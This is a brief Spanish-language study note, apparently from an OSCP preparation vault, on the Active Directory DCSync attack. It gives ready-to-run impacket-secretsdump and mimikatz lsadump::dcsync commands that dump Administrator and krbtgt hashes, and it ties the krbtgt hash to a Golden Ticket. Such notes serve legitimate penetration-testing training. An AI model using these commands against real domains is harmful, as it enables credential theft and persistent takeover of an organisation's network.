# DCSync

> Con permisos de **replicación de directorio** (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes **como si fueras otro DC**. No necesitas pisar el DC.

## Cómo se llega
- Un usuario con esos derechos (te lo dice BloodHound: arista `DCSync` / `GetChangesAll`).
- O un ACL abuses que te conceda esos derechos.

## Ataque
```bash
impacket-secretsdump dominio/usuario:password@DC_IP   # → ver secretsdump
```
```
# o desde mimikatz en una máquina del dominio:
lsadump::dcsync /user:Administrator
lsadump::dcsync /user:krbtgt        # ← el premio gordo
```

## Por qué importa
El hash de **krbtgt** → Golden Ticket = control total y persistente del dominio.

Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC